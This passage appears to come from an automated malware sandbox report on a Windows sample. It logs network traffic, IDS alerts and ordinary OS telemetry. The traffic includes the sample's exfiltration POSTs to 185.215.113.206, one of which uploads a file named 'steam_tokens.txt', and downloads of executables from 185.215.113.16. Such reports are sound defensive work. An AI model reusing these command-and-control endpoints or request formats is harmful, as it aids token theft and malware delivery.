6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="file"------IIJEBAECGCBKECAAAEBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 2d 2d 0d 0a Data Ascii: ------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="message"ybncbhylepme------EHJKJDGCGDAKFHIDBGCB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAEHJJECAEGCAAAAEGIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 2d 2d 0d 0a Data Ascii: ------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDAEHJJECAEGCAAAAEGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAEHJJECAEGCAAAAEGIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 2d 2d 0d 0a Data Ascii: ------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------JDAEHJJECAEGCAAAAEGIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDAEHJJECAEGCAAAAEGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49809 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:57137 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:57299 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49722
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:57235

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:57183 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C76CC60 PR_Recv,

0_2_6C76CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pOWV24n9+thOSsN&MD=xn1Luz+o HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
